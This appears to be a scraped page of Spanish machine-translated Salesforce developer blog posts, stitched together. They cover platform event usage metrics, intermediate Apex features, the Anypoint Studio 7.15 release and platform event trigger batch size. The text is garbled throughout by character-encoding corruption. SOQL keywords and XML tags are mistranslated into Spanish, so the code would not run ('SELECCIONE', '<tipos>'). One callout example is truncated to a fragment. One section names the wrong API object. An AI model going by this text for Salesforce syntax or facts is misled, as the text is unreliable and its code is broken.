Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC), recientemente se encontr贸 con una publicaci贸n de blog titulada Monitoreo de publicaci贸n de eventos y uso de entrega de la plataforma . Esta publicaci贸n proporcion贸 informaci贸n sobre c贸mo varias formas de monitorear el uso de la publicaci贸n y entrega de eventos de la plataforma.

A medida que se expande el negocio de GoC, la afluencia de datos ha llevado a casos frecuentes de alcanzar los l铆mites diarios para los eventos de la plataforma. En consecuencia, Jestilla est谩 buscando una soluci贸n para monitorear el consumo de eventos de la plataforma seg煤n el nombre del evento, la identificaci贸n del cliente o el tipo. Esta capacidad de monitoreo le permitir谩 analizar qu茅 evento est谩 consumiendo una parte significativa de la asignaci贸n, lo que le permitir谩 tomar las medidas adecuadas en consecuencia.

驴Qu茅 es Plataforma de Eventos?

Las arquitecturas basadas en eventos se han vuelto muy populares en los 煤ltimos a帽os y por una buena raz贸n. Se basa en el patr贸n de fuego y olvido . Activar un evento y dejar que cada sistema maneje la l贸gica empresarial le permite mantener los sistemas no relacionados desacoplados y puede ayudar a simplificar la arquitectura.

Los eventos de la plataforma le permiten entregar notificaciones de eventos seguras, escalables y personalizables dentro de Salesforce o desde fuentes externas. Las aplicaciones pueden publicar y suscribirse a eventos de plataforma en la plataforma de Salesforce mediante Apex, Flow o en un sistema externo mediante CometD. Si desea obtener m谩s informaci贸n sobre el evento de plataforma, consulte el m贸dulo de Trailhead .

Comprender el objeto PlatformEventUsageMetric

Hagamos una pausa aqu铆 y familiar铆cese con el objeto PlatformEventUsageMetric en Salesforce.

Contiene datos de uso para la publicaci贸n y entrega de eventos a clientes CometD y Pub/Sub API, componentes empApi Lightning y retransmisiones de eventos. Si las m茅tricas de uso mejoradas est谩n habilitadas, los datos de uso est谩n disponibles para las 煤ltimas 24 horas, hasta la 煤ltima hora y para el uso diario hist贸rico.

En API 58.0 y versiones posteriores, puede habilitar M茅tricas de uso mejoradas para obtener datos de uso por nombre de evento y cliente para intervalos de tiempo granulares. PlatformEventUsageMetric contiene m茅tricas de uso separadas para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
Tipo de evento El tipo de evento para el que le gustar铆a consultar las m茅tricas de uso, como un evento de cambio o un evento de plataforma personalizado. Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas.
Segmento de tiempo El intervalo de tiempo utilizado para agregar los datos de uso devueltos en los resultados de la consulta. Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas.
Tipo de uso Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas. El tipo de m茅tricas de uso de eventos para consultar, como publicaci贸n de eventos o entrega de eventos. Utilice este campo con los campos EventName o EventType. Los valores posibles son:

  • PUBLISH 鈥擬茅tricas de uso para eventos publicados.
  • ENTREGA 鈥擬茅tricas de uso para eventos que se entregaron a los suscriptores.
Valor El valor de uso para la m茅trica y el intervalo de fechas especificados.

Para obtener datos de uso completos para cada evento, aprovecharemos las m茅tricas de uso de eventos mejoradas. Esta funci贸n nos permitir谩 recopilar informaci贸n agregada e identificar los eventos espec铆ficos que consumen una parte importante de la asignaci贸n.

Mientras que PlatformEventSettings representa configuraciones para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
enableEnhancedUsageMetrics Habilita m茅tricas de uso mejoradas para consultas ejecutadas en PlatformEventUsageMetric. Las m茅tricas de uso mejoradas proporcionan campos adicionales para las consultas y segmentos de tiempo granulares. Para obtener m谩s informaci贸n, consulte M茅tricas de uso mejoradas en la Gu铆a para desarrolladores de eventos de plataforma. El valor predeterminado es falso.

Pr谩ctica guiada (nosotros hacemos):

Antes de que pueda obtener m谩s m茅tricas de uso, debe habilitar las M茅tricas de uso mejoradas en la API de metadatos . Para hacer esto, establezca el valor del campo enableEnhancedUsageMetrics en verdadero en PlatformEventSettings . Una vez hecho esto, podr谩 obtener m茅tricas de uso detalladas para el consumo de eventos de la plataforma.

Paso 1: habilite las m茅tricas de uso mejoradas

  1. Aseg煤rese de que Visual Studio Code est茅 correctamente configurado y que su organizaci贸n de Salesforce est茅 conectada a 茅l.
  2. Modifique el paquete.xml para recuperar los metadatos relacionados con los eventos de la plataforma.
    1. Ejemplo de paquete.xml para recuperar la configuraci贸n de PlatformEvent.
      
      
      <tipos> <miembros>PlataformaEvento</miembros> <nombre>Configuraci贸n</nombre>
      </tipos>

  3. El siguiente paso es modificar PlatformEventSettings .
    1. Proceda a modificar PlatformEventSettings, cuyos valores se almacenan en el archivo PlatformEvent.settings en la carpeta de configuraci贸n .
    2. En PlatformEventSettings, establezca el campo enableEnhancedUsageMetrics en true .
    3. Guarde los cambios en el archivo PlatformEvent.settings-meta.xml .
  4. Finalmente, haga clic con el bot贸n derecho en el archivo de su paquete en el Explorador y seleccione SFDX: Implementar origen en el manifiesto en la organizaci贸n .

Paso 2.1: obtenga m茅tricas de uso diario agregadas por nombre de evento

  1. Haga clic en Configuraci贸n | Consola de desarrollador .
  2. En el Editor de consultas, ejecute la siguiente consulta SOQL
     SELECCIONE EventName, EventType, UsageType, Value, StartDate, EndDate FROM PlatformEventUsageMetric WHERE TimeSegment='Diario'
Continue reading

Sube de nivel tus habilidades Apex 鈽侊笍

Sube de nivel tus habilidades Apex 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad 煤nica que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos b谩sicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, l铆mites reguladores y disparadores, son particulares de Apex y c贸mo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas caracter铆sticas y modismos clave, 驴a d贸nde va despu茅s?

En esta publicaci贸n, aprender谩 sobre algunas caracter铆sticas de Apex que son cr铆ticas para cualquier desarrollador de Apex que busque mejorar m谩s all谩 de lo b谩sico, junto con d贸nde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de c贸digo en esta publicaci贸n se toman directamente o se adaptan de la aplicaci贸n de muestra Recetas de Apex o la Gu铆a para desarrolladores de Apex. Ver las referencias al final del art铆culo.

En estos d铆as, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opci贸n que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. A煤n as铆, es raro que los problemas comerciales complejos se puedan resolver sin ning煤n tipo de c贸digo.

Introduzca Apex invocable.

La anotaci贸n @InvocableMethod se usa para definir m茅todos llamados por Flow. Y @InvocableVariable muestra los par谩metros para que Flow pase datos a su c贸digo Apex. 驴Por qu茅 llamar铆a a Apex desde Flow? Quiz谩s la l贸gica de su flujo se est谩 volviendo demasiado compleja. Tal vez su automatizaci贸n necesite realizar una operaci贸n que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

Aqu铆 hay una ilustraci贸n b谩sica del uso de la anotaci贸n @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }”>

Este ejemplo de la Gu铆a para desarrolladores de Apex ilustra c贸mo la anotaci贸n marca esto como un m茅todo que Flow puede invocar. Tenga en cuenta que la anotaci贸n tambi茅n define detalles como una etiqueta y una descripci贸n que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable鈥 del que pocas personas hablan es que esto muestra autom谩ticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa 煤til que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex as铆ncrono. Lo que trae a colaci贸n la siguiente caracter铆stica de Apex que se debe abordar.

La ejecuci贸n as铆ncrona desacopla una acci贸n que queremos realizar del contexto de ejecuci贸n actual. Siguiendo las mejores pr谩cticas actuales, existen tres formas de ejecutar Apex de forma asincr贸nica: en cola, programable y por lotes. Aunque t茅cnicamente el bus de eventos es as铆ncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de c贸digo para ejecutarlo de forma asincr贸nica, la opci贸n en cola es la herramienta de referencia. Si tiene varias tareas asincr贸nicas, queueable las ejecuta de manera determinista en orden. Debido a que est谩n en cola en orden, tambi茅n puede encadenar una llamada as铆ncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperar铆a: ejecute alg煤n c贸digo de Apex en un horario. Batch Apex est谩 optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex as铆ncrono, debe crear una clase de Apex que implemente una interfaz espec铆fica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotaci贸n @Future para hacer que un solo m茅todo sea asincr贸nico, tambi茅n conocido como "m茅todos futuros". Los m茅todos futuros, aunque r谩pidos y f谩ciles, tienen limitaciones que los hacen menos 煤tiles. No hay nada que pueda hacer con un m茅todo futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producci贸n con m茅todos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} “>

Todas las interfaces as铆ncronas de Apex tienen un m茅todo execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicaci贸n de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los par谩metros que necesita.

El t茅rmino "Apex din谩mico" es un poco inapropiado. O, al menos, podr铆a malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programaci贸n din谩mico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
funci贸n eval !).

Dynamic Apex es un c贸digo que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecuci贸n. Esto se hace abstrayendo referencias espec铆ficas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. Tambi茅n utilizar谩 las funciones de "descripci贸n" de Apex para detectar con qu茅 objetos y campos est谩 trabajando y qu茅 puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, crear谩 una aplicaci贸n que debe adaptarse al entorno local del cliente que instala su aplicaci贸n. Esto significa que su c贸digo necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, tambi茅n es importante para cualquier persona que quiera escribir c贸digo m谩s reutilizable.

Tome este ejemplo de consulta muy b谩sico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];”>

Esto funcionar谩 todo el d铆a consultando los datos de la cuenta. Pero, 驴y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "din谩mico", necesitamos abstraer las referencias de campo y SObject espec铆ficas. Y tal vez lo incluir铆amos en un m茅todo que permitiera a otro desarrollador pasarlos. Tambi茅n podr铆amos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operaci贸n que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } “>

Lo anterior construye una consulta para un SObject que se pasa al m茅todo y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuaci贸n, debe invocarlo.

As铆 es como podr铆amos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); “>

Este ejemplo no aborda algunos riesgos de SOQL din谩mico, como la inyecci贸n de SOQL. Por lo tanto, aseg煤rese de leer sobre Apex din谩mico. Aprender a escribir Apex seguro har谩 que sea menos probable que implemente c贸digo vulnerable en su organizaci贸n (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex din谩mico de ser explotado. El m茅todo escapeSingleQuotes() es otra herramienta m谩s antigua que tambi茅n puede encontrar. El modo de usuario tambi茅n es clave para garantizar que cualquier acci贸n realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo m谩s completo y seguro de Apex din谩mico, consulte la receta de Apex del m茅todo invocable en la aplicaci贸n de ejemplo Recetas de Apex. Esa acci贸n invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integraci贸n sin c贸digo. Espec铆ficamente, si solo necesita una aplicaci贸n o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran autom谩ticamente sin ning煤n tipo de codificaci贸n en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si est谩 integrando su organizaci贸n a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere c贸digo).

Pero a veces, es posible que deba llamar desde su organizaci贸n a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe m谩s complejidad que una de las API est谩ndar. Nuevamente, Apex contiene funciones que admiten tanto la aparici贸n de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos d铆as, la mayor铆a de los desarrolladores pensar铆an en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotaci贸n @RestResource . Parte del trabajo de la anotaci贸n es definir tambi茅n el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de m茅todos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuaci贸n, se muestra un ejemplo de un extremo REST b谩sico que aparece en el m茅todo HTTP GET. Tenga en cuenta c贸mo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} “>

Si su requisito es crear un servicio SOAP, tambi茅n hay un conjunto de caracter铆sticas para admitir ese protocolo.

Fuera del c贸digo real, necesitar谩 una sesi贸n autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a trav茅s de un conjunto de clases. La clase HttpRequest le permite definir los par谩metros de c贸mo se comportar谩 su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a trav茅s del m茅todo est谩tico Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuraci贸n para su texto destacado. Espec铆ficamente, deber谩 configurar una credencial con nombre en la mayor铆a de los casos. Esta configuraci贸n le permite descargar el protocolo de enlace de autenticaci贸n de su c贸digo. Aunque, si est谩 llamando a un servicio an贸nimo no autenticado, tambi茅n puede optar por usar una configuraci贸n de sitio remoto m谩s simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticaci贸n.

La transmisi贸n de eventos es una herramienta valiosa para crear arquitecturas d茅bilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisi贸n de eventos a trav茅s de dos caracter铆sticas principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Gu铆a para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de m煤ltiples inquilinos y m煤ltiples nubes basado en un modelo de publicaci贸n-suscripci贸n". Tanto su organizaci贸n como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a trav茅s del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject ef铆mero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el m茅todo EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el c贸digo a continuaci贸n que publica un evento.

En Apex, se suscribe a un evento creando un disparador as铆ncrono para 茅l. Pero los disparadores as铆ncronos son diferentes de la operaci贸n DML transaccional est谩ndar de un disparador normal. Por esta raz贸n, debe tener en cuenta algunas diferencias. Con disparadores as铆ncronos, el tama帽o del lote es diferente. Necesitas configurar tu usuario de ejecuci贸n. Las operaciones de activaci贸n de eventos tambi茅n se pueden volver a intentar. Aseg煤rese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuaci贸n.

A diferencia de los disparadores DML t铆picos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acci贸n expl铆cita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organizaci贸n, se suscribe autom谩ticamente.

Adem谩s de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones d茅bilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas caracter铆sticas bastante comunes. Pero es posible que deba aprender otras funciones de Apex seg煤n los requisitos de su proyecto. Aqu铆 hay algunos otros elementos que debe tener en cuenta.

Cach茅 de plataforma : si proviene de otras plataformas de programaci贸n, estar谩 familiarizado con la noci贸n de una variable est谩tica o global persistente en todas las transacciones. Pero en Apex, las est谩ticas se limitan a la transacci贸n. La memoria cach茅 de la plataforma es una caracter铆stica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperaci贸n de datos, la memoria cach茅 de la plataforma puede ayudar.

Marcos de activaci贸n : no es una caracter铆stica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el c贸digo de activaci贸n repetitivo que a menudo necesita escribir. Al usar un marco de activaci贸n, deber铆a permitirle concentrarse solo en la l贸gica que debe abordarse. Para algo m谩s que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentar铆an que deber铆a considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimizaci贸n prematura. Hay una implementaci贸n muy simple de esto en la aplicaci贸n Apex Recipes .

SOSL : el lenguaje de b煤squeda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparaci贸n con la b煤squeda de campos de texto con SOQL y comodines. Admite la b煤squeda de varios SObjects simult谩neamente y contiene funciones para filtrar de forma determinista los resultados de la b煤squeda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el c贸digo Apex personalizado en sus componentes web Lightning (LWC), esta anotaci贸n es clave. Es muy probable que ya est茅 usando este si comenz贸 su viaje de Salesforce creando LWC. Pero si a煤n no lo ha usado, b煤squelo en cualquier proyecto que involucre una interfaz de usuario personalizada. 驴Por qu茅 "Aura" habilitado si es para LWC? Bueno, esta anotaci贸n se cre贸 inicialmente para admitir el predecesor de LWC, el marco Aura. Ten铆a sentido no reinventar una nueva anotaci贸n cuando la existente funcionar铆a igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programaci贸n tiene algunas caracter铆sticas clave que todos deben conocer. La sintaxis b谩sica, el control de flujo y el modelo de ejecuci贸n de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos b谩sicos, trabajar en funciones m谩s avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex as铆ncrono, el Apex "din谩mico", la integraci贸n y el bus de eventos son funciones que probablemente utilizar谩 a medida que avanza. Al familiarizarse con estos ahora, no solo se preparar谩 para abordar proyectos en el futuro, sino que tambi茅n podr谩 tomar mejores decisiones de soluci贸n.

Si cree que est谩 listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y m谩s.

Aplicaci贸n de muestra Apex Recipes en Github

Gu铆a para desarrolladores de Apex

Gu铆a de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitaci贸n para desarrolladores durante m谩s de 20 a帽os. Pas贸 los 煤ltimos 12 a帽os ayudando a miles de desarrolladores a tener 茅xito en la plataforma de Salesforce, y m谩s recientemente lider贸 el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de monta帽a, cocina y toca m煤sica. S铆galo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Anuncio de MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso 鈽侊笍

Anuncio de MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

anunciamos MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso | Blog de desarrolladores de Salesforce

隆MuleSoft se complace en anunciar la disponibilidad general de Anypoint Studio 7.15 ! Con Anypoint Studio , los desarrolladores tienen acceso a un IDE de escritorio para la integraci贸n y el desarrollo de API que incluye m贸dulos predise帽ados para requisitos de integraci贸n comunes.

En MuleSoft, nuestro objetivo es capacitar a los equipos para automatizar los flujos de trabajo, brindar experiencias a los clientes y ser m谩s productivos. Con Studio 7.15, continuamos con este compromiso. Hemos mejorado la experiencia del desarrollador y mejorado el rendimiento de Studio en todos los 谩mbitos. Tambi茅n fortalecimos la experiencia de importaci贸n de activos y agregamos m谩s a las opciones de implementaci贸n de CloudHub. Siga leyendo para conocer algunos de los aspectos m谩s destacados de esta versi贸n.

Escuchamos continuamente los comentarios de la comunidad de MuleSoft para ayudarnos a mejorar nuestros productos. Algunas de las principales solicitudes de Anypoint Studio son la capacidad de incluir en la lista de permitidos los archivos de Studio de los an谩lisis antivirus y brindar soporte nativo para la arquitectura centrada en ARM. Hemos a帽adido ambos.

En 7.15, agregamos la opci贸n para que los desarrolladores excluyan los archivos de Studio del antivirus de Microsoft Defender. Esto ayudar谩 a mejorar tanto el rendimiento como la estabilidad, lo que permitir谩 a nuestros usuarios ser m谩s productivos. Para aquellos en Windows, Studio ahora ser谩 a煤n m谩s receptivo y estable.

Adem谩s, Studio ahora admite de forma nativa la arquitectura centrada en ARM. Esto significa m谩s rendimiento y mayor estabilidad para los usuarios en sistemas como macOS.

Con estas dos adiciones, estamos ayudando a nuestros usuarios a experimentar un Studio m谩s r谩pido y m谩s estable, en los principales sistemas operativos.

Cuando se trata de hacer que los desarrolladores sean productivos, los detalles importan. No basta con facilitar el desarrollo, la depuraci贸n y la implementaci贸n. Los trabajos complementarios, como la importaci贸n de artefactos y la b煤squeda de contexto, tambi茅n son importantes.

Hoy, importar desde Design Center es m谩s f谩cil. Los desarrolladores ahora obtendr谩n los siguientes detalles y capacidades al importar fragmentos y especificaciones de API desde Design Center:

  • Tipo de activo mostrado
  • Se muestra la fecha en que se actualiz贸 el activo por 煤ltima vez
  • Capacidad de b煤squeda mejorada

Con la capacidad de buscar fragmentos y especificaciones en Design Center de Studio, los usuarios ahora pueden pasar menos tiempo buscando los activos que necesitan y m谩s tiempo creando flujos de trabajo.

En Studio 7.14, brindamos a los usuarios la capacidad de implementar en CloudHub 2.0 . Con Studio 7.15, estamos mejorando esa capacidad.

Ahora, los usuarios pueden implementar y volver a implementar una aplicaci贸n Mule en CloudHub 2.0, incluso si tiene el mismo nombre y destino que una existente en CloudHub 2.0. Esto es particularmente 煤til para volver a implementar despu茅s de realizar cambios en una aplicaci贸n Mule. Como resultado, los desarrolladores pueden pasar menos tiempo lidiando con los matices de la implementaci贸n.

Con la GA de nuestra 煤ltima versi贸n de Anypoint Studio, estamos entusiasmados de ver que los desarrolladores y los equipos se vuelven a煤n m谩s productivos a medida que crean integraciones y API. Descargue Anypoint Studio 7.15 hoy y d铆ganos lo que piensa.

Srini Sekaran es responsable de gesti贸n de productos para varios productos, incluido Anypoint Studio, el IDE de MuleSoft que miles de desarrolladores utilizan a diario para crear integraciones potentes.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Configurar el tama帽o de lote para el activador de eventos de plataforma

Configurar el tama帽o de lote para el activador de eventos de plataforma

脷ltima actualizaci贸n el 30 de abril de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo configurar el usuario y el tama帽o del lote para Platform Event Trigger?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Comprender el tama帽o del lote para el activador de eventos de la plataforma
  • Anular el usuario de ejecuci贸n predeterminado para el desencadenador de eventos de la plataforma
  • Cree PlatformEventSubscriberConfig a trav茅s de la API REST
  • y mucho m谩s

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC) . Recientemente, enfrent贸 desaf铆os mientras trabajaba con eventos de plataforma, principalmente l铆mites de gobernadores. Quiere aprender a configurar el tama帽o del lote para el activador de eventos de la plataforma. En este ejercicio, configuraremos el tama帽o del lote para lo siguiente:

  1. Activador de v茅rtice
    1. LeadGenerationEventTrigger en Lead_Generation__e
    2. Tama帽o del lote: 50
    3. Usuario ejecutor: Usuario de integraci贸n

驴Qu茅 es Plataforma de Eventos?

Las arquitecturas basadas en eventos se han vuelto muy populares en los 煤ltimos a帽os, y por una buena raz贸n. Se basa en el patr贸n de fuego y olvido . Activar un evento y dejar que cada sistema maneje la l贸gica empresarial le permite mantener los sistemas no relacionados desacoplados y puede ayudar a simplificar la arquitectura.

Los eventos de la plataforma le permiten entregar notificaciones de eventos seguras, escalables y personalizables dentro de Salesforce o desde fuentes externas. Las aplicaciones pueden publicar y suscribirse a eventos de plataforma en la plataforma de Salesforce mediante Apex, Flow o en un sistema externo mediante CometD. Si desea obtener m谩s informaci贸n sobre el evento de plataforma, consulte el m贸dulo de Trailhead .

驴Cu谩l es el tama帽o de lote predeterminado para el desencadenador de eventos de plataforma?

De forma predeterminada, el disparador de eventos de la plataforma se ejecuta como el usuario del sistema de procesos automatizados con un tama帽o de lote de 2000 mensajes de eventos. A veces es necesario cambiar el usuario y el tama帽o del lote para eludir los l铆mites del gobernador u otros desaf铆os.

Salesforce le permite anular el usuario de ejecuci贸n predeterminado y el tama帽o de lote de un desencadenador de Apex de evento de plataforma con PlatformEventSubscriberConfig en la API de herramientas o la API de metadatos para configurar el desencadenador.

Puede especificar cualquier usuario activo en la organizaci贸n de Salesforce. El activador se ejecuta en un contexto de sistema con privilegios para acceder a todos los registros independientemente de los permisos de nivel de campo y de objeto del usuario. Puede especificar un tama帽o de lote personalizado de 1 a 2000. El tama帽o del lote es el n煤mero m谩ximo de mensajes de eventos que se pueden enviar a un disparador en una ejecuci贸n.

Comprender el objeto PlatformEventSubscriberConfig

Hagamos una pausa aqu铆, familiar铆cese con el objeto de la API de herramientas PlatformEventUsageMetric en Salesforce. Representa los ajustes de configuraci贸n para un disparador de Apex de evento de plataforma, incluido el tama帽o del lote y el usuario que ejecuta el disparador.

Nombre del campo
Detalles
Tama帽o del lote Un tama帽o de lote personalizado, de 1 a 2000, para el desencadenador Apex del evento de plataforma. El tama帽o del lote corresponde al n煤mero m谩ximo de mensajes de eventos que se pueden enviar a un disparador en una ejecuci贸n. El tama帽o de lote predeterminado es 2000 para activadores de eventos de plataforma.
